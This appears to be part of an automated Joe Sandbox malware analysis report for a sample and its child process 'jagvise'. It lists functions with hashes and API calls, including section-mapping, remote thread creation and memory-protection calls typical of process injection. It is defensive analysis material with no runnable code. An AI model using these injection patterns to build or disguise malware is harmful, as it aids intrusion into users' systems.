Opcode ID: 870f46a2a7e9125fc64259c0113c9f32b591f7cfb9cfbea6ee1b8873b39ebb3c
Instruction ID: 0ada24ae82b51f4f9a60ca7eebfbe033db705158baf2df6143f0b1d3e3a25906
Opcode Fuzzy Hash: 870f46a2a7e9125fc64259c0113c9f32b591f7cfb9cfbea6ee1b8873b39ebb3c
Instruction Fuzzy Hash: 34417B3AA05601DBC6119A58DB492D9B390AA91325B70157FC116FF3D2D2B58403CFAE

Function 008AD361 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1732280470.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8aa000_hoEtvOOrYH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: dad3dc8c96a5882ce103214e836727ffcd60b114d65482e4ea7288d083a245c6
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 1A1170723402009FEB44DE55DCD1FA673EAFB8A320B298055E905CBB55E675EC01C761

Function 0040282B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8ed832ee685910f1b4afd24465c5bb2400c87c2ec175cf4e8c20858b5d58a7
Instruction ID: 85111ab412317ff508ebd8cead5adc4919acb6cfc3387e5029b0d652ac8fee42
Opcode Fuzzy Hash: 2c8ed832ee685910f1b4afd24465c5bb2400c87c2ec175cf4e8c20858b5d58a7
Instruction Fuzzy Hash: 10F0AC62A04205E8AF035AB0E6835D077E4CB1A2727742AB7CC810F653F1220C8F8BC7

Function 00880D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_hoEtvOOrYH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 3f1fbc63fa8778dbc544eb16e78fa348ac668790d5a3f4f658ab2d22bb70afbc
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: A301F272A006048FDF61EF60C805BAB33E5FF86306F1545A4D90AD7282E370A8498F80

Function 004027E6 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e2c94f085c8deafda9bf27b51fae7d9b11998349070c1387d6f2dcaefccb25
Instruction ID: 16c917f703957408a71ffc42cdad91b041f3061b413bc656853e6abcf2756f85
Opcode Fuzzy Hash: d2e2c94f085c8deafda9bf27b51fae7d9b11998349070c1387d6f2dcaefccb25
Instruction Fuzzy Hash: 71E06155D04244296F034A71F6C35D6FBC4C54B276B741693CCC30F202E1268D89C7C3

Function 0041F240 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0041F266

Part of subcall function 0041F08B: __fltout2.LIBCMT ref: 0041F0B7

__cftog_l.LIBCMT ref: 0041F28C
__cftoe_l.LIBCMT ref: 0041F2BE

Memory Dump Source

Source File: 00000000.00000002.1731971792.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_hoEtvOOrYH.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 64dd88673b47847991f90c90a0c150270ab8339d20551cf636ce290819be0711
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: A611B33A40004AFBCF125E85DC01CEE3F66BF08358B488466FE1859131D33BCAB6AB85

Function 0041E330 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0041E230: GetStartupInfoW.KERNEL32(00000000,0041E35C,00000000,00000000), ref: 0041E243
Part of subcall function 0041E230: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041E25D

GetEnvironmentStringsW.KERNEL32(00000000,00000000), ref: 0041E365
FindFirstVolumeA.KERNEL32(00000000,00000000), ref: 0041E36F
GetShortPathNameA.KERNEL32(00423344,?,00000000), ref: 0041E381
DeleteVolumeMountPointA.KERNEL32(00000000), ref: 0041E3A0

Memory Dump Source

Source File: 00000000.00000002.1731971792.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_hoEtvOOrYH.jbxd

Similarity

API ID: Volume$CreateDeleteEnvironmentFindFirstInfoMountNamePathPointProcessShortStartupStrings
String ID:
API String ID: 2571298759-0
Opcode ID: d9c416af72776200e6d517168cf2674ea94008f16800a90a986a3c4a68269dff
Instruction ID: bb685419fe8eba5bdcd832a3ff008c7820df2ac98c01d3ef698063781b7e9bdc
Opcode Fuzzy Hash: d9c416af72776200e6d517168cf2674ea94008f16800a90a986a3c4a68269dff
Instruction Fuzzy Hash: 2DF0A4B6740200AFD730EB55FD56FA633A4AB4870AF804026FB05D62A1CBBC1442CB5F

Function 0041E280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 0041E2E1
GetComputerNameW.KERNEL32(?,?), ref: 0041E2F1

Strings

<H B, xrefs: 0041E2D3

Memory Dump Source

Source File: 00000000.00000002.1731971792.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_hoEtvOOrYH.jbxd

Similarity

API ID: ComputerHighestNameNodeNumaNumber
String ID: <H B
API String ID: 3700106692-3899015267
Opcode ID: a9dbd077a819636b3b2f02577daf5532aaf67ee1efca1f1dbf60c07f4e8ba4b1
Instruction ID: 9bfd3ec4351e3cf3d2b24bd45107cae70517d5d445fe937a0b17fa36dc97bda4
Opcode Fuzzy Hash: a9dbd077a819636b3b2f02577daf5532aaf67ee1efca1f1dbf60c07f4e8ba4b1
Instruction Fuzzy Hash: 6C118EB51083459FC3209F26EC416ABB7E4FF84324F40C91DE4A44B241DB38948ACF97

Analysis Process: jagvisePID: 7684, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	22.5%
Signature Coverage:	0%
Total number of Nodes:	129
Total number of Limit Nodes:	4

Executed Functions

Function 0041E3C0 Relevance: 35.3, APIs: 19, Strings: 1, Instructions: 293
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDateFormatA.KERNELBASE(00000000,00000000,?,00000000,?,00000000), ref: 0041E49C
FoldStringW.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041E4D7
BuildCommDCBW.KERNEL32(00000000,00000000), ref: 0041E4DF
GetTimeFormatW.KERNEL32(00000000,00000000,?,00000000,?,00000000), ref: 0041E50D
CancelDeviceWakeupRequest.KERNEL32(?), ref: 0041E518
SetFileAttributesA.KERNEL32(00423368,00000000), ref: 0041E524
UnregisterWaitEx.KERNEL32(?,00000000), ref: 0041E534
SetLocaleInfoA.KERNEL32(00000000,00000000,00423370), ref: 0041E541

Strings

F#, xrefs: 0041E6D0

Memory Dump Source

Source File: 00000005.00000002.1983541097.0000000000411000.00000020.00000001.01000000.00000005.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_411000_jagvise.jbxd

Similarity

API ID: Format$AttributesBuildCancelCommDateDeviceFileFoldInfoLocaleRequestStringTimeUnregisterWaitWakeup
String ID: F#
API String ID: 4284779335-3765767533
Opcode ID: 93cef7cba12cfc1e678a0af51042d9bce38c9d9d666f86ca22bf1549905f9b30
Instruction ID: 58b4ca8a1ffd6a5f83b67aefe5396388f55c0061424afe5d5ceb088499a92ad9
Opcode Fuzzy Hash: 93cef7cba12cfc1e678a0af51042d9bce38c9d9d666f86ca22bf1549905f9b30
Instruction Fuzzy Hash: 96A1B2B6904300AFD320EF65DC85DAB77ACEB88315F80493EFA4692251D7789C45CB6E

Function 00401630 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 183e64851d44db5460637f8e576f2d0f1b668b3fa3db5c1b7421a1c496617433
Instruction ID: 7baa5f5768b34f369cd08a138b2b2447226c18c9e38af5e8fdc96bb499f212bb
Opcode Fuzzy Hash: 183e64851d44db5460637f8e576f2d0f1b668b3fa3db5c1b7421a1c496617433
Instruction Fuzzy Hash: AD6171B0904204FBEB208F91CC89FAF7BB8FF81710F10452AF912BA1E4D6759941DB65

Function 0040163B Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: cefcec3b4dfc0ac1b79d81610da9693edaefe17fb3e60f5b4fda00af43e12393
Instruction ID: 5360d2f8fac9f0201fb143e2250a685fe16029abf29177764b1b7c662286b80c
Opcode Fuzzy Hash: cefcec3b4dfc0ac1b79d81610da9693edaefe17fb3e60f5b4fda00af43e12393
Instruction Fuzzy Hash: FE514AB1900205BFEB208F91CC89FAF7BB8FF85700F14456AFA11BA2E5D6759941CB24

Function 00401666 Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 6a5a12e5199d7872be29d194e1bd71eececbcf8f897f93194828f5f612321f2e
Instruction ID: a6ff109548181b59d63890122cf59ee8a8e7851f5ea650de0760a669d67658a3
Opcode Fuzzy Hash: 6a5a12e5199d7872be29d194e1bd71eececbcf8f897f93194828f5f612321f2e
Instruction Fuzzy Hash: 895129B4900205BFEB208F91CC89FAF7BB8FF85B10F104569FA11AA2E5D6759941CB64

Function 00401647 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d8106e4bc7ca673257447c9282689d7b3e0364b5c7f46d4caad185d9f9525db9
Instruction ID: 13265af8c753d5296a068bec70926f9e91cf6f155eb2a251ba93df0398a9b2e3
Opcode Fuzzy Hash: d8106e4bc7ca673257447c9282689d7b3e0364b5c7f46d4caad185d9f9525db9
Instruction Fuzzy Hash: F6513BB5900205BFEB208F91CC89FEF7BB8FF85B10F104119F911BA2A4D6759941CB64

Function 00401660 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: e599f6710e28ba0f3f5ec0135dce1092a84c4915237567347f01b0f8a4c4c763
Instruction ID: 88dcf12b86acca9d5ca78fae7b39ee59537206c200d96b006889814fd57da8f6
Opcode Fuzzy Hash: e599f6710e28ba0f3f5ec0135dce1092a84c4915237567347f01b0f8a4c4c763
Instruction Fuzzy Hash: 12512AB0900205BFEB208F91CC89FAF7BB8FF85B10F104129FA11BA2E5D6759941CB64

Function 00401663 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2089da846d8ed52526ea3fb0d68e445529b89086c2a436fa3bc4dd68b40d8f3a
Instruction ID: 9dfb7286379cb5b978975c8e53e5cfa9d010df6993f6f88681d8ce4a50fb4c8e
Opcode Fuzzy Hash: 2089da846d8ed52526ea3fb0d68e445529b89086c2a436fa3bc4dd68b40d8f3a
Instruction Fuzzy Hash: B851FAB5900249BFEB208F91CC89FAF7BB8FF85B10F104159FA11BA2A5D6749941CB64

Function 00401674 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a471128e30253767d8ecbe7c8b9264cbc2fc79b6f64fc0f7368e35c36875084d
Instruction ID: 6663a8c5485dafdc0fbfaf601e2c04d3b227d1cbd70bcfd861ccef21e9851678
Opcode Fuzzy Hash: a471128e30253767d8ecbe7c8b9264cbc2fc79b6f64fc0f7368e35c36875084d
Instruction Fuzzy Hash: 3D51FBB5900245BFEF208F91CC89FAF7BB8FF85710F104159FA11AA2A5D7749941CB64

Function 00401678 Relevance: 10.7, APIs: 7, Instructions: 158
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 76003727399a2eca9fb632657c9a9f2aa461299f309746c84de5a453a1a51f96
Instruction ID: 9d3a6761103bbc6b33e3c6c256166adc831e96f911efc5f9f86a17cfce9c5065
Opcode Fuzzy Hash: 76003727399a2eca9fb632657c9a9f2aa461299f309746c84de5a453a1a51f96
Instruction Fuzzy Hash: 6A5109B5900245BFEF208F91CC88FAB7BB8FF85B10F100159FA11AA2A5D7709945CB20

Function 0040310D Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403235
NtTerminateProcess.NTDLL ref: 00403246

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: 2230f495bd44a537ec581f9501d496a478b2d408bf54a46c3e49a74e62ee8954
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: 14414732618E0C4FD768EE6CAC4966377D5E7A8311B1A43ABD809D7384EE30D95183C5

Function 0088003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0088024D

Strings

cess, xrefs: 0088018D
kernel32.dll, xrefs: 0088008F, 00880095

Memory Dump Source

Source File: 00000005.00000002.1983746430.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_880000_jagvise.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aac36b1d1735d88017c5ffbfa41392513043c77e30cf763340a148cb817e5263
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D527974A01229DFDBA4DF58C984BA8BBB1BF09304F1480D9E50DAB351DB30AE88DF15

Function 0041E020 Relevance: 4.6, APIs: 3, Instructions: 60
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(007FBE60), ref: 0041E0FC
GetProcAddress.KERNEL32(00000000,00428558), ref: 0041E139
VirtualProtect.KERNELBASE(007FBCA4,007FBE5C,00000040,?), ref: 0041E159

Memory Dump Source

Source File: 00000005.00000002.1983541097.0000000000411000.00000020.00000001.01000000.00000005.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_411000_jagvise.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: ed7f28cc16d09a46b10d0c784fb67efb52c54919e2bb855e4695998bb0004b58
Instruction ID: bf942d14af1efede7f09638b6f18058680337e7b272a95013794b0dd03a82697
Opcode Fuzzy Hash: ed7f28cc16d09a46b10d0c784fb67efb52c54919e2bb855e4695998bb0004b58
Instruction Fuzzy Hash: BF3123106293C0EAE311DB38FC447663BA2AB69744F44946CD2848B3B2DBFE0556C72E

Function 00A2B324 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00A2B34C
Module32First.KERNEL32(00000000,00000224), ref: 00A2B36C

Memory Dump Source

Source File: 00000005.00000002.1983884104.0000000000A28000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a28000_jagvise.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 205a4703d955dd5c691c45fe07ba487d5bc87796906f2dafacc82a030c77e24b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 99F0CD32600321ABD7207BBDA98CBAA73E8BF48321F100238E642998C0DB70E8054A61

Function 00880E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00880223,?,?), ref: 00880E19
SetErrorMode.KERNELBASE(00000000,?,?,00880223,?,?), ref: 00880E1E

Memory Dump Source

Source File: 00000005.00000002.1983746430.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_880000_jagvise.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f2f6d8dcacfc00e91535e2c3d4d44eba824c5639ec75f1ad12dbbdf9da4bc129
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: D6D0123114512877D7403A94DC09BCE7B1CDF05B62F008411FB0DD9080C770994047E5

Function 0041E160 Relevance: 1.5, APIs: 1, Instructions: 27
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(007FBE60,0041E686), ref: 0041E1E8

Memory Dump Source

Source File: 00000005.00000002.1983541097.0000000000411000.00000020.00000001.01000000.00000005.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_411000_jagvise.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6d238e4d275f321ba84a9d54ea67be493b39248c77fbf03331765bdaefa4b618
Instruction ID: e3a8a89f9793f3a67f7cebaa72587345058e1a1b15750940b4a818443ddf913f
Opcode Fuzzy Hash: 6d238e4d275f321ba84a9d54ea67be493b39248c77fbf03331765bdaefa4b618
Instruction Fuzzy Hash: 7FF04804A38244CAE704DB74E9507A12363EFAC700F50A02A9319C77B1EBFE4915C71E

Function 00401A06 Relevance: 1.3, APIs: 1, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: cdcc311ceb2837f341ba908734da7b35adc779df5b271c6ec761724efb85a897
Instruction ID: 9ebb0d5d2bcaaf4b8a6da6c44f2a62eb33f0d579d641f982b8f1711b028e46c7
Opcode Fuzzy Hash: cdcc311ceb2837f341ba908734da7b35adc779df5b271c6ec761724efb85a897
Instruction Fuzzy Hash: F501AD3170A204EBDB009A948D41EBB3218AB81354F3046B7B603791F1C67DA9136F6F

Function 00401A1C Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

